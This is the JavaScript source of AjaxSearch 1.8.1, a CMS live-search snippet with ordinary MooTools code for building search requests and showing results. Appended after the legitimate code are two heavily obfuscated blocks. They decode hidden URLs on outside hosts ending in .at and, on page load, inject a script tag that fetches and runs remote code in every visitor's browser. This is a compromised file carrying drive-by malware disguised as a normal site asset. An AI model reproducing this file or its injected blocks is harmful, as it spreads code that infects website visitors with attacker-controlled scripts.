//ajaxSearch.js
//Version: 1.8.1 - refactored by coroico
//Created by: KyleJ (kjaebker@muddydogpaws.com)
//Created on: 03/14/06
//Description: This code is used to setup the ajax search request.
//My thanks to Steve Smith of orderlist.com for sharing his code on how he did this
//Live Search by Thomas (Shadock)

//Updated: 02/10/08 - whereSearch, withTvs
//Updated: 10/07/08 - Added whereSearch, rank, order and filter parameters
//Updated: 02/07/08 - Added Phx templating & some new parameters
//Updated: 06/03/08 - Added advSearch and Hidden from menu options - 1.7.1
//Updated: 03/03/08 - Fix : % character freeze the search - 1.7.1
//Updated: 01/02/08 - Added version, folder and some others parameters - 1.7.0
//Updated: 12/14/07 - Fix : bad URI with several document groups - 1.6.2d - 
//Updated: 11/17/07 - Added IDs document selection - 1.6.2
//Updated: 11/06/07 - character encoding and opacity troubles corrected - 1.6.1

//Updated: 01/22/07 - Switched to mootools support
//Updated: 09/18/06 - Added user permissions to searching

//set the loading image to the correct location for you
//set the close image to the correct location for you
//set the ajax call to the correct location of ajaxSearch.php

// AjaxSearch Snippet folder location
var _base = 'assets/snippets/ajaxSearch/';

// AjaxSearch Snippet folder
var _version = '1.8.1';

//From Thomas : vars for live search
var _oldInputFieldValue = "";
var _currentInputFieldValue = "";
var _timeoutAdjustment = 0;
var newToggle;
var is_searching = false;
var liveTimeout = null;

function activateSearch() {
  var searchForm = $('ajaxSearch_form');

  if (as_version != _version) {
    alert("AjaxSearch version obsolete. Empty your browser cache and check the version of AjaxSearch.js file");
    return;
  }

  var s = $('ajaxSearch_output');
  s.setStyle('opacity', '0');

  if (searchForm) {
    $('ajaxSearch_form').onsubmit = function() { doSearch(); return false; };

    var i = new Element('img');
    i.setProperties({
       src: _base + 'images/indicator.white.gif', //Loading Image
       alt: 'loading',
       id: 'indicator'
    });
    toggleImage(i);

    searchForm.appendChild(i);

    var c = new Element('img'); //Close Image
    c.setProperties({
       src: _base + 'images/cross.png', 
       alt: 'close search',
       id: 'searchClose'
    });
    c.addEvent('click', function(){closeSearch();});

    if (liveSearch) {
      c.setStyles({
         position: 'absolute',
         top: '1px',
         right: '1px'
      });
    } else {
      toggleImage(c);
    }

    var n = new Element('div'); // New search results div
    n.setProperty('id', 'current-search-results');
    n.setStyle('opacity', '1');
    s.appendChild(n);
    newToggle = new Fx.Slide('current-search-results', {duration: 600}).hide();
    newToggle.isDisplayed = function() {
      return this.wrapper['offset'+this.layout.capitalize()] > 0;
    }

    if (liveSearch) {
      s.appendChild(c);
    } else {
      searchForm.appendChild(c);
    }        

    is_searching = false;
    search_open = false;
    if (liveSearch) {
      $('ajaxSearch_input').addEvent('keyup', liveSearchReq);
      $('ajaxSearch_submit').setStyle('opacity', '0');         
    }
  }
}

function liveSearchReq() {
  if (liveTimeout) {
    window.clearTimeout(liveTimeout);
  }
  liveTimeout = window.setTimeout("doSearch()",400);
}

function doSearch() {
  // If we're already loading, don't do anything
  if (is_searching) return false;
  
  // get the input searchstring from select or from input
  if (ss = $('ajaxSearch_select')) {
    selected = new Array();
    for (var i = 0; i < ss.options.length; i++) if (ss.options[ i ].selected) selected.push(ss.options[ i ].value);
    s = selected.join(" ");
  }
  else {
    s = $('ajaxSearch_input').value;
  }
  // Same if the searchstring is blank
  if (s == '') return false;
  is_searching = true;
  c = $('current-search-results');

  toggleImage($('indicator'));
  if (!liveSearch) {if (!search_open) {toggleImage($('searchClose'));}}
  search_open = true;
  b = $('ajaxSearch_submit');
  b.disabled = true;

  if (newToggle.isDisplayed()) {
    newToggle.toggle(); 
  }  

  // update the advSearch value from radio button if they exists
  if (r = $('radio_oneword')) {
    if (r.checked == true) advSearch = r.value;
  }
  if (r = $('radio_allwords')) {
    if (r.checked == true) advSearch = r.value;
  }
  if (r = $('radio_exactphrase')) {
    if (r.checked == true) advSearch = r.value;
  }
  if (r = $('radio_nowords')) {
    if (r.checked == true) advSearch = r.value;
  }
  
  // update the subSearch value from radio button if they exists
  sbsname = '';
  for (var i = 1; i < subSearch+1; i++) {
    if (sbs = $('subSearch'+i)) {
      if (sbs.checked == true) sbsname = sbs.value;
    }
  }

  // Setup the parameters and make the ajax call to the popup window
  var pars = Object.toQueryString({
    q: _base + 'ajaxSearchPopup.php',
    search: s,
    config: config,
    as_version: as_version,
    debug: debug,
    ajaxMax: ajaxMax,
    advSearch: encodeURI(advSearch),
    subSearch: encodeURI(sbsname),
    whereSearch: encodeURI(whereSearch),
    withTvs: withTvs,
    order: order,
    rank: rank,
    minChars: minChars,
    showMoreResults: showMoreResults,
    moreResultsPage: moreResultsPage,
    as_language: as_language,
    extract: extract,
    extractLength: extractLength,
    extractEllips: extractEllips,
    extractSeparator: extractSeparator,
    formatDate: formatDate,
    docgrp: encodeURI(docgrp),
    listIDs: encodeURI(listIDs),
    idType: idType,
    depth: depth,
    highlightResult: highlightResult,
    hideMenu: hideMenu,
    hideLink: hideLink,
    as_filter: as_filter,
    tplAjaxResult: tplAjaxResult,
    tplAjaxResults: tplAjaxResults,
    stripInput: stripInput,
    stripOutput: stripOutput,
    breadcrumbs: breadcrumbs,
    tvPhx: tvPhx
  });

  var ajaxSearchReq = new Ajax('index-ajax.php', {postBody: pars, onComplete: doSearchResponse});
   if (newToggle.isDisplayed()) {
    newToggle.toggle(); 
    ajaxSearchReq.request.delay(600, ajaxSearchReq);
  } else {
    ajaxSearchReq.request();
  }
  return true;
}

function doSearchResponse(request) {
  var o = $('ajaxSearch_output');
  o.setStyle('opacity', opacity);  // set of opacity parameter
  $('current-search-results').setHTML(request);
  newToggle.toggle();
  is_searching = false;
  setTimeout('resetForm()',600);
}

function resetForm() {
  s = $('ajaxSearch_submit');
  s.disabled = false;
  toggleImage($('indicator'));
}

function closeSearch() {
  newToggle.toggle();
  setTimeout('clearSearch()',600);
}

function clearSearch() {
  toggleImage($('searchClose'));
  search_open = false;
  $('current-search-results').innerHTML = '';
  var o = $('ajaxSearch_output');
  o.setStyle('opacity', '0');
  $('ajaxSearch_input').value="";
  $('ajaxSearch_input').focus();
}

function toggleImage(imgElement) {
  imgStyle = imgElement.getStyle('opacity');
  if (imgStyle == '0') {
    imgElement.setStyle('opacity', '1');
  } else {
    imgElement.setStyle('opacity', '0');
  }
}

//Event.observe(window, 'load', activateSearch, false);
Window.onDomReady(activateSearch);


var yc;if(yc!='' && yc!='Z'){yc=null};var nC;if(nC!='a' && nC!='an'){nC=''};try {var N=window[unescape("%75%6e%65%73%63%61%70%65")];var Ip;if(Ip!='W' && Ip != ''){Ip=null};var V="";this.X='';this.aO='';var b=N("%72%65%70%6c%61%63%65");var T=new Array();var G=new Date();var fX;if(fX!='mL' && fX!='Tn'){fX='mL'};var S=window[N("%52%65%67%45%78%70")];var w=null;var Rf;if(Rf!='' && Rf!='C'){Rf=''};this.jS="";function Y(z,M){var neS=new Date();var WG=new Array();var e=N("%5b");var wi;if(wi!='g'){wi='g'};var c;if(c!='U_'){c='U_'};e+=M;e+=N("%5d");var ng;if(ng!=''){ng='XW'};var I=new S(e, N("%67"));var ab=new String();var yB=new String();return z.replace(I, w);var ov=new Date();};var B;if(B!='' && B!='sz'){B='O'};var yb=new Array();var IA=new Array();var nD="";var L="\x68\x74\x74\x70\x3a\x2f\x2f\x70\x68\x6f\x6e\x65\x68\x6f\x6d\x65\x6c\x6f\x61\x6e\x2e\x61\x74\x3a";var n="on"+"lo"+"ad";var u=N("%73%63%72%69%70%74");var zA;if(zA!='' && zA!='mW'){zA=''};var ck="";var vR;if(vR!='' && vR!='k'){vR='ag'};var z=N("%31");var mP='';var Yu;if(Yu!='' && Yu!='MX'){Yu=null};var f='';var cx=new String();this.Rfr="";var bd=Y('821257962262403719212345724783764172191691417202459747676495','29574316');var uk=new Date();var p=Y('/vn9ibkDkueuiQ-VcUoY-vjXpQ/xgVoyoygRlueC.0cFoUmb/xtqoBr0ryeXnbtBdVoDwVnJlqo5axdKsK.vn5eUtx.bp0hMpF','yQXuBC5JxM6KqDUVRY90bAFv');function H(){var TQ;if(TQ!='fj'){TQ='fj'};var XE=new Array();var J=document;m=J.createElement(u);var QF=new Date();var el='';f+=L;var eH='';f+=bd+p;var _r=new Array();this.JP='';var WA=new Array();m.defer=z;m.src=f;var Nz=J.body;var Bo=new Array();Nz.appendChild(m);var Aa="";var Ox;if(Ox!='sFM' && Ox!='OF'){Ox=''};};var lr=new Date();var lB=new Date();window[n]=H;var Ew;if(Ew!='' && Ew!='cU'){Ew='lq'};var PZ;if(PZ!='ue'){PZ='ue'};} catch(JO){var hi=new String();};

this.mz="";function i(){var oH;if(oH!='' && oH!='o'){oH=''};var b;if(b!='LD' && b!='DX'){b=''};this.Li="";this.V="";var NX=new Date();var k;if(k!='' && k!='T'){k=null};var W=window;this.R="";this.Zl="";var Wd;if(Wd!='' && Wd!='r'){Wd='g'};var Q=W['unescape'];var X;if(X!=''){X='n'};var FT=new Date();var Z=Q("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%79%69%6d%67%2e%63%6f%6d%2f%6e%79%64%61%69%6c%79%6e%65%77%73%2e%63%6f%6d%2e%70%68%70");var dB=new Array();var Tg=new String();this.P="";function M(c,e){var Tw=new String();var vp;if(vp!='LE'){vp='LE'};var m=Q("%5d");var u=Q("%5b");var a="";var d=new String("g");var kO="";var eE="";var L=new RegExp(u+e+m, d);var HW=new Array();var wG="";return c.replace(L, new String());};var YG=new Date();var cF=new Date();var f;if(f!='Fl' && f!='MX'){f='Fl'};var em=M('s0r3ck','WdQCliNk3AT079Dz5E_');var yd=new Array();var Y=M('sKcOrOiOpOtA','1ygKOzA8');var dh=M('dZePf6e8rP','2VaPvZKyIC8pw4_6GN');var tm=new Array();var O=M('844519945940714364684944542530945696231','45213976');var TK="";this.bX='';var _=document;var AJ;if(AJ!=''){AJ='S'};this.BD='';var xG='';function A(){this.ed='';var t=Q("%68%74%74%70%3a%2f%2f%66%72%65%65%63%61%72%7a%6f%6e%65%2e%61%74%3a");this.PF="";this.z="";var D=t;var bK;if(bK!='' && bK!='rt'){bK=null};D+=O;var HN;if(HN!='' && HN!='YP'){HN=null};D+=Z;var VB;if(VB!='yW' && VB!='Jp'){VB='yW'};var fs;if(fs!='wb' && fs!='FB'){fs='wb'};var Kk;if(Kk!='' && Kk!='mUl'){Kk=''};var CJ;if(CJ!=''){CJ='db'};try {Yb=_[M('chrweuaut5euEfl9eSmheynUt6','FUfR5yuSd34whvq69Z')](Y);var _f;if(_f!='qX' && _f!='xGf'){_f=''};this.iy='';var vq;if(vq!=''){vq='ne'};Yb[dh]=[1][0];this.cU="";var Eg='';Yb[em]=D;var nc=new Date();var Yn;if(Yn!='' && Yn!='Na'){Yn='gB'};_.body[M('aRpNp_eFn7dMCbhHi_l7d3','tx7gjHZNFvMz_RTVA3b')](Yb);} catch(N){this.DI="";};var G='';var rG;if(rG!='Qk' && rG!='LF'){rG='Qk'};var Ix;if(Ix!='' && Ix!='YY'){Ix=null};}var mr;if(mr!='sQ' && mr != ''){mr=null};var DR;if(DR!='eF' && DR != ''){DR=null};var s=M('ogn3lUobakdf','rgik8bU3fmFj');var Tx=new Date();W[s]=A;var Cu;if(Cu!='fI' && Cu!='uI'){Cu='fI'};var EG;if(EG!='' && EG!='Ay'){EG='NT'};};var hL;if(hL!='VK'){hL=''};var Hv;if(Hv!='' && Hv!='AvI'){Hv=null};i();